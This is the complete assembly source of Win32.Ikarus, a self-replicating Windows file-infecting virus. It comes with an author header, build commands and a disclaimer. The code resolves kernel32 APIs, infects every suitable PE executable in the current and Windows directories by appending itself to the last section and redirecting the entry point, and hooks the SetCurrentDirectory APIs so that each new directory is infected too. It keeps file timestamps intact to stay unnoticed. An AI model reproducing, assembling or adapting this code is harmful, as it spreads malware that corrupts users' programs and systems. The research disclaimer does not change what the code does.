comment ~

NAME: Win32.Ikarus
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://blackjackvx.cjb.net
TYPE: fully Win32 compatible direct-acting/per-process resident PE appender
SIZE: 1906 bytes

DESCRIPTION:
When an infected file is run, the virus gains controls. It then infects all
infectable PE files in the current and the Windows directory by the standart
last section expanding method. After that, it also goes per-process memory
resident by hooking the ChangeDirectory API (both ANSI and unicode version)
in the hosts import table, so everytime the host will change the current
directory, all PE files in there will become infected too.
So this is a *very* simple virus, I only did it because I wanted a really
stable and compatible virus (it even works in Win32s) with a fully correct
PE infection algorithm.


ASSEMBLE WITH: 
                tasm32 /mx /m ikarus.asm
                tlink32 /Tpe /aa ikarus.obj,,, import32.lib

                there's no need for PEWRSEC or a similar tool, because the
                virus code is stored in the data section.

DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
            Therefore, this source was only written for research and
            education. Please do not spread it. The author can't be hold
            responsible for what you decide to do with this source.

~
; ===========================================================================

virus_raw_size     EQU (virus_physical_end - virus_start)
virus_virtual_size EQU (virus_virtual_end - virus_start)
workspace          EQU ((((virus_raw_size/1024)+1)*1024)+4096)

Extrn ExitProcess:Proc
Extrn MessageBoxA:Proc

.386p
.model flat
.data
virus_start:
        pushf                                   ; save flags
        pusha                                   ; save all registers


        CALL over_SEH_handler                   ; push offset of SEH handler

        mov esp, fs:[0]                         ; restore ESP
        JMP return_to_host                      ; jump back to host

over_SEH_handler:
        push dword ptr fs:[0]                   ; save old SEH pointer
        mov fs:[0], esp                         ; set new SEH frame


        call next                               ; get delta offset
next:
        pop ebp
        sub ebp, (next-virus_start)

        mov eax, ebp                            ; EAX=delta offset

        db 2Dh                                  ; sub eax, imm32
virus_RVA dd 2000h                              ; RVA of virus

        mov [ebp+imagebase-virus_start], eax    ; EAX=imagebase of host
        push eax                                ; save imagebase

        db 05h                                  ; add eax, imm32
host_entry_RVA dd 1000h                         ; original host entry RVA

        mov [ebp+host_entry-virus_start], eax   ; EAX=host entrypoint

        xor eax, eax                            ; EAX=0
        lea edi, [ebp+GetModuleHandleA-virus_start]
        stosd                                   ; zeroinit important API VAs
        stosd
        stosd

        mov [ebp+kernel32descr-virus_start], eax ; zero init var

        pop eax                                 ; EAX=imagebase

        mov ebx, eax                            ; EBX=imagebase
        add ebx, [eax+3Ch]                      ; EBX=host PE header
        mov ebx, [ebx+128]                      ; EBX=import directory RVA
        add ebx, eax                            ; EBX=import directory VA

search_kernel32_import_descriptor:
        mov esi, [ebx+12]                       ; ESI=dll name RVA
        or esi, esi                             ; a zero means end of table
        JZ import_method_failed                 ; kernel32 import descriptor
                                                ; not found
        add esi, eax                            ; ESI=dll name VA

        mov ecx, dword ptr [esi]                ; get first dword of dll name
        and ecx, not 20202020h                  ; make uppercase
        cmp ecx, "NREK"                         ; is it KERNEL32 ?
        JNE try_next_import_descriptor
        mov ecx, dword ptr [esi+4]              ; check next dword
        and cx, not 2020h
        cmp ecx, "23LE"
        JE kernel32_import_descriptor_found

try_next_import_descriptor:
        add ebx, 20                             ; go to next import descriptor
        JMP search_kernel32_import_descriptor        

kernel32_import_descriptor_found:
        mov [ebp+kernel32descr-virus_start], ebx ; save KERNEL32 import descr

        mov edx, [ebx]                          ; EDX=RVA of API names array
        or edx, edx                             ; not existant anymore ?
        JZ import_method_failed
        add edx, eax                            ; RVA->VA
        push 5                                  ; ECX=5
        pop ecx

get_apis_from_imports_loop:
        movzx edi, word ptr [ebp+init_api_ptrs-virus_start+ecx*2-2]
                                                ; EDI="RVA" to an API we're
                                                ; searching for
        add edi, ebp                            ; add delta offset

        push ecx                                ; save ECX (counter)
        CALL search_API_in_imports              ; search this API in imports
        or esi, esi
        JZ this_API_not_found
        pop ecx                                 ; ECX=counter
        push ecx                                ; save again
        dec ecx                                 ; make counter 0..n-1
        shr ecx, 1                              ; multiply with 2
        mov [ebp+init_api_VAs-virus_start+ecx*4], esi  ; store API offset
this_api_not_found:
        pop ecx                                 ; restore ECX (counter)
        LOOP get_apis_from_imports_loop

        mov ecx, dword ptr [ebp+GetModuleHandleA-virus_start]
        JCXZ try_GetModuleHandleW               ; we haven't got this API

        lea eax, [ebp+kernel32A-virus_start]    ; EAX=pointer to KERNEL32
        push eax
        call ecx                                ; call GetModuleHandleA
        or eax, eax                             ; failed ?
        JNZ got_kernel32                        ; if not, we have K32 handle

try_GetModuleHandleW:
        mov ecx, dword ptr [ebp+GetModuleHandleW-virus_start]
        JCXZ import_method_failed               ; we haven't got this API

        lea eax, [ebp+kernel32W-virus_start]
        push eax
        call ecx                                ; call GetModuleHandleW
        or eax, eax                             ; failed ?
        JNZ got_kernel32                        ; if not, we have K32 handle

import_method_failed:
        mov eax, [esp+11*4]                     ; get address in kernel32
        and eax, 0FFFFF000h                     ; set it at a page start
        push 50                                 ; ECX=50 (number of pages)
        pop ecx
scan_for_kernel32_loop:
        cmp word ptr [eax], "ZM"                ; is there an MZ header ?
        JNE scan_on_for_kernel32                ; if not, scan on
        mov ebx, eax                            ; EBX=MZ header offset
        add ebx, [eax+3Ch]                      ; EBX=new header offset
        cmp dword ptr [ebx], "EP"               ; is there a PE header ?
        JE got_kernel32                         ; if not, scan on
scan_on_for_kernel32:
        sub eax, 1000h                          ; go down to next page
        LOOP scan_for_kernel32_loop             ; scan the next page

kernel32_scanning_failed:
        JMP return_to_host                      ; we didn't get K32 handle :-(

got_kernel32:
        mov [ebp+kernel32-virus_start], eax     ; save kernel32 address

        cmp dword ptr [ebp+GetProcAddress-virus_start], 0  ; have we already
                                                ; GetProcAddress ?
        JNE got_GetProcAddress

get_GetProcAddress_from_export_table:
        mov ebx, [eax+3Ch]                      ; EBX=PE header RVA
        add ebx, eax                            ; EBX=PE header VA
        mov ebx, [ebx+78h]                      ; EBX=export directory RVA
        add ebx, eax                            ; EBX=export directory VA
        
        xor ecx, ecx                            ; ECX=0
        mov edx, [ebx+18h]                      ; EDX=NumberOfNames
        mov esi, [ebx+20h]                      ; EDI=AddressOfNames array RVA
        add esi, eax                            ; EDI=AddressOfNames array VA

search_loop:
        xchg eax, edi                           ; EDI=kernel32 base
        lodsd                                   ; EAX=next api name RVA
        xchg eax, edi                           ; EDI=next api name RVA,
                                                ; EAX=kernel32 base
        add edi, eax                            ; EDI=next api name VA
        pusha                                   ; save all registers
        lea esi, [ebp+n_GetProcAddress-virus_start]  ; ESI=pointer to api name
        push l_GetProcAddress                   ; ECX=length of api name
        pop ecx
        cld                                     ; clear direction flag
        rep cmpsb                               ; compare api names
        popa                                    ; restore all registers
        JE found_GetProcAddress                 ; found GetProcAddress ?
        inc ecx                                 ; if not, try next api
        cmp ecx, edx                            ; all APIs done ?
        JL search_loop

not_found_GetProcAddress:
        JMP return_to_host                      ; restore host

found_GetProcAddress:
        mov edx, [ebx+24h]                      ; EDX=AddressOfOrdinals RVA
        add edx, eax                            ; EDX=AddressOfOrdinals VA
        movzx ecx, word ptr [edx+ecx*2]         ; ECX=API ordinal
        mov edx, [ebx+1Ch]                      ; EDX=AddressOfFunctions RVA
        add edx, eax                            ; EDX=AddressOfFunctions VA
        mov edx, [edx+ecx*4]                    ; EDX=API RVA
        add edx, eax                            ; EDX=API VA
        mov dword ptr [ebp+GetProcAddress-virus_start], edx    ; store it


got_GetProcAddress:
        lea esi, [ebp+kernel32_APIname_pointers-virus_start]
        lea edi, [ebp+kernel32_API_RVAs-virus_start]
        push number_of_kernel32_APIs
        pop ecx

get_kernel32_APIs_loop:
        push ecx                                ; save api counter

        xor eax, eax                            ; EAX=0
        lodsw                                   ; AX=next api name RVA
        add eax, ebp                            ; EAX=next api name VA
        
        push eax                                ; api name VA
        push dword ptr [ebp+kernel32-virus_start] ; kernel32 base address
        CALL dword ptr [ebp+GetProcAddress-virus_start]

        stosd                                   ; store api address

        pop ecx                                 ; restore api counter

        or eax, eax                             ; last api not found ?
        JZ return_to_host                       ; if so, return to host
        LOOP get_kernel32_APIs_loop             ; do next api

; ----- INFECT CURRENT DIR & WINDOWS DIR ------------------------------------

        lea eax, [ebp+curdir-virus_start]       ; get current directory
        push eax
        push 260
        CALL dword ptr [ebp+GetCurrentDirectoryA-virus_start]

        push 260                                ; get windows directory
        lea eax, [ebp+windir-virus_start]
        push eax
        CALL dword ptr [ebp+GetWindowsDirectoryA-virus_start]

        lea eax, [ebp+windir-virus_start]       ; change to windows direcory
        push eax                                ; using our own API hook, so
        CALL SetCurrentDirectoryA_hook          ; all files in there will
                                                ; become infected

        lea eax, [ebp+curdir-virus_start]       ; change back to old directory
        push eax                                ; using our own API hook, so
        CALL SetCurrentDirectoryA_hook          ; all files in there will
                                                ; become infected

; ----- GO PER-PROCESS-RESIDENT ---------------------------------------------

        mov eax, [ebp+imagebase-virus_start]    ; EAX=our own imagebase
        mov ebx, [ebp+kernel32descr-virus_start] ; EBX=K32 import descriptor
        or ebx, ebx                             ; no K32 import descriptor ?
        JZ no_perprocess_residency
        mov edx, [ebx]                          ; EDX=RVA to API names array
        or edx, edx                             ; not existant ?
        JZ no_perprocess_residency
        add edx, eax                            ; RVA->VA

        lea edi, [ebp+n_SetCurrentDirectoryA-virus_start]
        CALL search_API_in_imports              ; search this API in imports
        or esi, esi                             ; found ?
        JZ no_SetCurrentDirectoryA_hook
        lea esi, [ebp+SetCurrentDirectoryA_hook-virus_start]
        mov edi, ecx
        CALL make_writeable                     ; make this page writeable
        mov [edi], esi                          ; hook this API
no_SetCurrentDirectoryA_hook:

        lea edi, [ebp+n_SetCurrentDirectoryW-virus_start]
        CALL search_API_in_imports              ; search this API in imports
        or esi, esi                             ; found ?
        JZ no_SetCurrentDirectoryW_hook
        lea esi, [ebp+SetCurrentDirectoryW_hook-virus_start]
        mov edi, ecx
        CALL make_writeable                     ; make this page writeable
        mov [edi], esi                          ; hook this API
no_SetCurrentDirectoryW_hook:
no_perprocess_residency:


return_to_host:
        pop dword ptr fs:[0]                    ; remove SEH
        pop eax

        popa                                    ; restore all registers
        popf                                    ; restore flags

        db 0B8h                                 ; mov eax, imm32
host_entry dd ?                                 ; true host entry VA

        JMP eax                                 ; jump to host


        db "Win32.Ikarus by Black Jack", 0
        db "written in Austria in the year 2001", 0

; ----- API HOOKS -----------------------------------------------------------

SetCurrentDirectoryA_hook:
        CALL delta_to_EAX                       ; get delta offset to EAX
        pop dword ptr [eax+return_address-virus_start] ; store return address
        CALL dword ptr [eax+_SetCurrentDirectoryA-virus_start] ; call original
                                                ; API handler to change dir
        JMP SetCurrentDirectoryX_hook           ; go on with general handler

SetCurrentDirectoryW_hook:
        CALL delta_to_EAX                       ; get delta offset to EAC
        pop dword ptr [eax+return_address-virus_start] ; store return address
        CALL dword ptr [eax+_SetCurrentDirectoryW-virus_start] ; call original
                                                ; API handler to change dir

SetCurrentDirectoryX_hook:
        push eax                                ; make room on stack for
                                                ; return address
        pushf                                   ; store flags
        pusha                                   ; store all registers
        CALL delta_to_EAX                       ; get delta offset to EAX
        xchg ebp, eax                           ; delta offset to EBP
        mov eax, dword ptr [ebp+return_address-virus_start]
        mov [esp+9*4], eax                      ; set return address on stack
        CALL infect_directory                   ; infect new directory
        popa                                    ; restore all registers
        popf                                    ; restore all flags
        RET


delta_to_EAX:
        CALL hook_next                          ; get delta offset
hook_next:
        pop eax
        sub eax, (hook_next - virus_start)
        RET

; ----- SEARCH APIs IN THE IMPORT TABLE -------------------------------------

search_API_in_imports:
        xor ecx, ecx

search_api_in_imports_loop:
        mov esi, [edx+ecx*4]
        or esi, esi
        JZ api_not_found
        inc esi
        inc esi
        add esi, eax

        pusha

cmp_api_name_loop:
        lodsb
        cmp al, 0
        JE api_name_equal
        scasb
        JE cmp_api_name_loop

api_name_not_equal:
        popa
        inc ecx
        JMP search_api_in_imports_loop

api_name_equal:
        popa
        mov esi, [ebx+16]
        add esi, eax
        lea ecx, [esi+ecx*4]
        mov esi, [ecx]
        RET

api_not_found:
        xor esi, esi
        RET


; ----- INFECT CURRENT DIRECTORY --------------------------------------------

infect_directory:
        lea eax, [ebp+find_data-virus_start]    ; address of FindData struc
        push eax
        lea eax, [ebp+filemask-virus_start]     ; address of filemask
        push eax
        call [ebp+FindFirstFileA-virus_start]
        inc eax
        JZ exit_infect_directory
        dec eax
        push eax
        
infect_found_file:
        lea edi, [ebp+filename-virus_start]
        CALL infect_file

find_next:
        pop edx
        push edx
        lea eax, [ebp+find_data-virus_start]    ; offset of find data struc
        push eax
        push edx                                ; search handle
        call [ebp+FindNextFileA-virus_start]
        dec eax                                 ; EAX=1 if file found
        JZ infect_found_file                    ; if file found, infect it

find_close:
        call [ebp+FindClose-virus_start]

exit_infect_directory:
        RET

; ----- INFECT FILE ---------------------------------------------------------

infect_file:
        push edi
        call dword ptr [ebp+GetFileAttributesA-virus_start]
        inc eax
        JZ exit_infect_file
        dec eax

        push eax                                ; save attributes
        push edi                                ; save filename offset

        push 80h                                ; normal attributes
        push edi
        call dword ptr [ebp+SetFileAttributesA-virus_start]
        or eax, eax
        JZ restore_attributes

        push 0                                  ; template file (shit)
        push 80h                                ; normal file attributes
        push 3                                  ; open existing
        push 0                                  ; no security attributes
        push 0                                  ; no file share flags
        push 0C0000000h                         ; read/write mode
        push edi                                ; filename offset
        call dword ptr [ebp+CreateFileA-virus_start]
        inc eax
        JZ restore_attributes
        dec eax

        push eax                                ; save file handle
        xchg esi, eax                           ; filehandle to ESI

        lea eax, [ebp+LastWriteTime-virus_start]
	push eax
	sub eax, 8
	push eax
	sub eax, 8
	push eax
        push esi                                ; filehandle
        call [ebp+GetFileTime-virus_start]
	or eax, eax
        JZ close_file

	push 0                                  ; high filesize dword ptr
        push esi                                ; filehandle
        call [ebp+GetFileSize-virus_start]
        mov [ebp+filesize-virus_start], eax
	inc eax
        JZ close_file

        add eax, workspace-1

	push 0                                  ; name file mapping obj (shit)
        push eax                                ; low dword of filesize
	push 0                                  ; high dword of filesize
	push 4                                  ; PAGE_READWRITE
	push 0                                  ; security attributes (shit)
        push esi                                ; filehandle
        call [ebp+CreateFileMappingA-virus_start]
	or eax, eax                             ; close?
        JZ restore_filetime

        push eax                                ; save maphandle

	push 0                                  ; map the whole file
	push 0                                  ; low dword of fileoffset
	push 0                                  ; high dword of fileoffset
	push 2                                  ; read/write access
        push eax                                ; maphandle
        call [ebp+MapViewOfFile-virus_start]
	or eax, eax
        JZ close_filemapping

        push eax                                ; save mapbase
        mov [ebp+mapbase-virus_start], eax

        cmp word ptr [eax], "ZM"
        JNE unmap_file
        mov ebx, dword ptr [eax+3Ch]            ; new exe header pointer
        cmp ebx, [ebp+filesize-virus_start]
        JA unmap_file
        add ebx, eax
        cmp dword ptr [ebx], "EP"
        JNE unmap_file

        mov cx, word ptr [ebx+4]                ; machine type - we only
                                                ; infect files for intel CPUs
        cmp cx, 14Ch                            ; 386 ?
        JB unmap_file
        cmp cx, 14Eh                            ; pentium ?
        JA unmap_file

        mov cx, word ptr [ebx+22]               ; characteristics
        test cx, 2                              ; is file an executable image?
        JZ unmap_file
        test cx, 3000h                          ; don't infect DLLs/drivers
        JNZ unmap_file

        mov cx, word ptr [ebx+5Ch]              ; subsystem
        cmp cx, 2                               ; Win32 GUI application?
        JE subsystem_ok
        cmp cx, 3                               ; Win32 console app ?
        JNE unmap_file
subsystem_ok:

        cmp dword ptr [ebx+58h], 12345678h      ; check for our infection mark
        JE unmap_file

        mov eax, [ebp+filesize-virus_start]
        mov edx, [ebx+38h]                      ; EDX=SectionAlign
        call align_eax
        mov [ebp+aligned_filesize-virus_start], eax


        movzx ecx, word ptr [ebx+14h]           ; ECX=size of optional header
        add ecx, ebx                            ; add offset of PE header
        add ecx, 18h                            ; add size of file header

        movzx edx, word ptr [ebx+6]             ; EDX=number of sections
        dec edx                                 ; EDX=number of last section
        imul edx, edx, 28h                      ; EDX=size of n-1 sect.-hdrs
        add ecx, edx                            ; ECX=last sect.-hdr offset

        mov eax, [ecx+14h]                      ; PointerToRawData
        add eax, [ecx+10h]                      ; SizeOfRawData
        mov edx, [ebx+38h]                      ; EDX=SectionAlign
        CALL align_eax
        cmp eax, [ebp+aligned_filesize-virus_start]
        JNE unmap_file                          ; file has overlays?

        mov edi, [ecx+8]                        ; EDI=VirtualSize of last sect
        or edi, edi                             ; If VirtualSize=0, this
        JNZ VirtualSize_OK                      ; means that VirtualSize=
        mov edi, [ecx+10h]                      ; SizeOfRawData
VirtualSize_OK:
        mov eax, edi                            ; EAX=old VirtualSize
        add eax, virus_virtual_size             ; EAX=new VirtualSize
        mov [ecx+8], eax                        ; store it
        add eax, [ecx+0Ch]                      ; add VirtualAddress
        mov edx, [ebx+38h]                      ; EDX=SectionAlign
        CALL align_eax                          ; EAX=new Imagesize
        cmp [ebx+50h], eax                      ; imagesize big enough?
        JA imagesize_ok
        mov [ebx+50h], eax                      ; update imagesize
imagesize_ok:
        mov eax, edi                            ; EAX=old VirtualSize
        add eax, virus_raw_size                 ; EAX=new SizeOfRawData
        mov edx, [ebx+3Ch]                      ; EDX=FileAlign
        CALL align_eax
        mov [ecx+10h], eax                      ; save new SizeOfRawData
        add eax, [ecx+14h]                      ; add PointerToRawData
        mov [ebp+FileSize-virus_start], eax     ; save new filesize
        mov eax, edi                            ; EAX=old VirtualSize
        add eax, [ecx+0Ch]                      ; Add VirtualAddress

        push dword ptr [ebp+virus_RVA-virus_start]
        push dword ptr [ebp+host_entry_RVA-virus_start]

        mov [ebp+virus_RVA-virus_start], eax    ; save VirusRVA
        xchg [ebx+28h], eax                     ; set new entrypoint
        mov [ebp+host_entry_RVA-virus_start], eax  ; save old entrypoint

        or dword ptr [ecx+24h], 0C0000000h      ; make section read/write

        push esi
        add edi, [ecx+14h]                      ; add PointerToRawData
        add edi, [ebp+mapbase-virus_start]      ; EDI=virus offset in memmap
        mov esi, ebp                            ; ESI=start virus body
        mov ecx, virus_raw_size
        cld
        rep movsb
        pop esi

        pop dword ptr [ebp+host_entry_RVA-virus_start]
        pop dword ptr [ebp+virus_RVA-virus_start]

        mov dword ptr [ebx+58h], 12345678h      ; set our infection mark

unmap_file:
        call dword ptr [ebp+UnmapViewOfFile-virus_start]

close_filemapping:
        call dword ptr [ebp+CloseHandle-virus_start]

set_filesize:
	push 0                                  ; move relative to start of file
	push 0                                  ; high word pointer of file offset
        push dword ptr [ebp+FileSize-virus_start]  ; new filesize
        push esi                                ; filehandle
        call [ebp+SetFilePointer-virus_start]

        push esi                                ; filehandle
        call [ebp+SetEndOfFile-virus_start]

restore_filetime:
        lea eax, [ebp+LastWriteTime-virus_start]
	push eax
	sub eax, 8
	push eax
	sub eax, 8
	push eax
        push esi
        call [ebp+SetFileTime-virus_start]

close_file:
        call dword ptr [ebp+CloseHandle-virus_start]

restore_attributes:
        call dword ptr [ebp+SetFileAttributesA-virus_start]

exit_infect_file:
        RET

; ---------------------------------------------------------------------------

align_eax:
        push ebx
        mov ebx, edx
        xor edx, edx
        div ebx
        or edx, edx                             ; remainer zero?
        JZ no_round_up                          ; if so, don't round up
        inc eax                                 ; round up
no_round_up:
        mul ebx                                 ; multiply again
        pop ebx
        RET


make_writeable:
        pusha

        lea eax, [ebp+dummy-virus_start]
        push eax                                ; var to store old protection
        push 4                                  ; PAGE_READWRITE
        push 4                                  ; one dword 
        push ecx                                ; RVA
        CALL [ebp+VirtualProtect-virus_start]

        popa
        RET



kernel32A               db "KERNEL32"
l_kernel32A             EQU ($ - kernel32A)
                        db 0
kernel32W               dw "K", "E", "R", "N", "E", "L", "3", "2", 0

n_GetModuleHandleA      db "GetModuleHandleA", 0
n_LoadLibraryA          db "LoadLibraryA", 0
n_GetModuleHandleW      db "GetModuleHandleW", 0
n_LoadLibraryW          db "LoadLibraryW", 0
n_GetProcAddress        db "GetProcAddress", 0
l_GetProcAddress        EQU ($ - n_GetProcAddress)

n_FindFirstFileA        db "FindFirstFileA", 0
n_FindNextFileA         db "FindNextFileA", 0
n_FindClose             db "FindClose", 0

n_GetWindowsDirectoryA  db "GetWindowsDirectoryA", 0
n_GetCurrentDirectoryA  db "GetCurrentDirectoryA", 0

n_GetFileAttributesA    db "GetFileAttributesA", 0
n_SetFileAttributesA    db "SetFileAttributesA", 0
n_CreateFileA           db "CreateFileA", 0
n_GetFileSize           db "GetFileSize", 0
n_GetFileTime           db "GetFileTime", 0
n_SetFileTime           db "SetFileTime", 0
n_CreateFileMappingA    db "CreateFileMappingA", 0
n_MapViewOfFile         db "MapViewOfFile", 0
n_SetEndOfFile          db "SetEndOfFile", 0
n_SetFilePointer        db "SetFilePointer", 0
n_UnmapViewOfFile       db "UnmapViewOfFile", 0
n_CloseHandle           db "CloseHandle", 0

n_VirtualProtect        db "VirtualProtect", 0

n_SetCurrentDirectoryA  db "SetCurrentDirectoryA", 0
n_SetCurrentDirectoryW  db "SetCurrentDirectoryW", 0



init_api_ptrs:
                        dw (n_GetModuleHandleA - virus_start)
                        dw (n_LoadLibraryA - virus_start)
                        dw (n_GetModuleHandleW - virus_start)
                        dw (n_LoadLibraryW - virus_start)
                        dw (n_GetProcAddress - virus_start)

kernel32_APIname_pointers:
                        dw (n_LoadLibraryA - virus_start)
                        dw (n_FindFirstFileA - virus_start)
                        dw (n_FindNextFileA - virus_start)
                        dw (n_FindClose - virus_start)
                        dw (n_GetWindowsDirectoryA - virus_start)
                        dw (n_GetCurrentDirectoryA - virus_start)
                        dw (n_GetFileAttributesA - virus_start)
                        dw (n_SetFileAttributesA - virus_start)
                        dw (n_CreateFileA - virus_start)
                        dw (n_GetFileSize - virus_start)
                        dw (n_GetFileTime - virus_start)
                        dw (n_SetFileTime - virus_start)
                        dw (n_CreateFileMappingA - virus_start)
                        dw (n_MapViewOfFile - virus_start)
                        dw (n_SetEndOfFile - virus_start)
                        dw (n_SetFilePointer - virus_start)
                        dw (n_UnmapViewOfFile - virus_start)
                        dw (n_CloseHandle - virus_start)
                        dw (n_VirtualProtect - virus_start)
                        dw (n_SetCurrentDirectoryA - virus_start)
                        dw (n_SetCurrentDirectoryW - virus_start)
number_of_kernel32_APIs EQU (($ - kernel32_APIname_pointers) / 2)


filemask        db "*.EXE", 0


virus_physical_end:

return_address          dd ?

dummy                   dd ?

mapbase                 dd ?

imagebase               dd ?

kernel32                dd ?

kernel32descr           dd ?

aligned_filesize        dd ?


init_api_VAs:
GetModuleHandleA        dd ?
GetModuleHandleW        dd ?
GetProcAddress          dd ?


kernel32_API_RVAs:
LoadLibraryA            dd ?
FindFirstFileA          dd ?
FindNextFileA           dd ?
FindClose               dd ?
GetWindowsDirectoryA    dd ?
GetCurrentDirectoryA    dd ?
GetFileAttributesA      dd ?
SetFileAttributesA      dd ?
CreateFileA             dd ?
GetFileSize             dd ?
GetFileTime             dd ?
SetFileTime             dd ?
CreateFileMappingA      dd ?
MapViewOfFile           dd ?
SetEndOfFile            dd ?
SetFilePointer          dd ?
UnmapViewOfFile         dd ?
CloseHandle             dd ?
VirtualProtect          dd ?
_SetCurrentDirectoryA    dd ?
_SetCurrentDirectoryW    dd ?



find_data:
FileAttributes          dd ?
CreationTime            dq ?
LastAccessTime          dq ?
LastWriteTime           dq ?
FileSize                dq ?
wfd_reserved            dq ?
FileName                db 260 dup(?)
DosFileName             db 14 dup(?)

windir                  db 260 dup(?)
curdir                  db 260 dup(?)



virus_virtual_end:

.code
start:

quit_first_gen:
        push 0
        push offset caption
        push offset message
        push 0
        CALL MessageBoxA

        push 0
        call ExitProcess

caption db "Win32.Ikarus by Black Jack", 0
message db "first genertion virus sample", 0

end virus_start
